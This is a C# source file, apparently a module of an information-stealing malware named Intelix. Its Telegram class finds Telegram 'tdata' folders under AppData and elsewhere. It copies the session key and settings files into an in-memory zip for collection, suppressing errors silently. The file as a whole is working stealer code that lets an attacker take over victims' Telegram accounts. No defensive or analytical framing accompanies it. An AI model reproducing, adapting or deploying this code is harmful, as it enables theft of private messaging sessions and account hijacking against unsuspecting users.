Files
2026-08-27 18:29:08 +00:00

164 lines
4.8 KiB
C#

using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Threading.Tasks;
using Intelix.Helper;
using Intelix.Helper.Data;
namespace Intelix.Targets.Messangers;
public class Telegram : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Telegram";
Parallel.ForEach(FindAllMatches("tdata"), delegate(string tdata)
{
string targetPath = Path.GetFileName(tdata.Remove(tdata.Length - 6, 6)) + RandomStrings.GenerateHashTag();
Copydata(tdata, targetPath, zip, counterApplications);
});
if (counterApplications.Files.Count > 0)
{
counter.Messangers.Add(counterApplications);
}
}
private void AddIfMatch(FileInfo fileInfo, string entryPath, InMemoryZip zip)
{
string name = fileInfo.Name;
if (name.EndsWith("s") && name.Length == 17)
{
zip.AddFile(entryPath, File.ReadAllBytes(fileInfo.FullName));
}
else if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data") || name.StartsWith("configs") || name.StartsWith("maps"))
{
zip.AddFile(entryPath, File.ReadAllBytes(fileInfo.FullName));
}
}
private void Copydata(string sourceDir, string targetPath, InMemoryZip zip, Counter.CounterApplications counterApplications)
{
ConcurrentBag<string> matchedNames = new ConcurrentBag<string>();
bool addedAny = false;
Parallel.ForEach(Directory.GetFiles(sourceDir), delegate(string filePath)
{
try
{
FileInfo fileInfo = new FileInfo(filePath);
if (fileInfo.Length <= 7120)
{
string entryPath = targetPath + "\\" + fileInfo.Name;
if (fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17)
{
matchedNames.Add(fileInfo.Name);
}
_ = counterApplications.Files.Count;
AddIfMatch(fileInfo, entryPath, zip);
if ((fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) || fileInfo.Name.StartsWith("usertag") || fileInfo.Name.StartsWith("settings") || fileInfo.Name.StartsWith("key_data") || fileInfo.Name.StartsWith("configs") || fileInfo.Name.StartsWith("maps"))
{
addedAny = true;
}
}
}
catch
{
}
});
Parallel.ForEach(matchedNames, delegate(string name)
{
try
{
string dirPath = Path.Combine(sourceDir, name);
dirPath = dirPath.Remove(dirPath.Length - 1);
if (Directory.Exists(dirPath))
{
Parallel.ForEach(Directory.GetFiles(dirPath), delegate(string filePath)
{
try
{
FileInfo fileInfo = new FileInfo(filePath);
if (fileInfo.Length <= 7120)
{
string entryPath = targetPath + "\\" + Path.GetFileName(dirPath) + "\\" + fileInfo.Name;
AddIfMatch(fileInfo, entryPath, zip);
if ((fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) || fileInfo.Name.StartsWith("usertag") || fileInfo.Name.StartsWith("settings") || fileInfo.Name.StartsWith("key_data") || fileInfo.Name.StartsWith("configs") || fileInfo.Name.StartsWith("maps"))
{
addedAny = true;
}
}
}
catch
{
}
});
}
}
catch
{
}
});
if (addedAny)
{
counterApplications.Files.Add(sourceDir + " => " + targetPath);
}
}
private List<string> FindInAppData(string folderName)
{
if (string.IsNullOrEmpty(folderName))
{
return new List<string>();
}
ConcurrentDictionary<string, byte> found = new ConcurrentDictionary<string, byte>(StringComparer.OrdinalIgnoreCase);
string[] array = new string[2]
{
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
};
foreach (string text in array)
{
if (string.IsNullOrEmpty(text) || !Directory.Exists(text))
{
continue;
}
try
{
Parallel.ForEach(Directory.EnumerateDirectories(text, "*", SearchOption.TopDirectoryOnly), delegate(string dir1)
{
try
{
string path = Path.Combine(dir1, folderName);
if (Directory.Exists(path))
{
found.TryAdd(Path.GetFullPath(path), 0);
}
}
catch
{
}
});
}
catch
{
}
}
return new List<string>(found.Keys);
}
private List<string> FindAllMatches(string folderName)
{
ConcurrentDictionary<string, byte> set = new ConcurrentDictionary<string, byte>(StringComparer.OrdinalIgnoreCase);
Parallel.ForEach(ProcessWindows.FindFolder(folderName), delegate(string p)
{
set.TryAdd(p, 0);
});
Parallel.ForEach(FindInAppData(folderName), delegate(string p)
{
set.TryAdd(p, 0);
});
return new List<string>(set.Keys);
}
}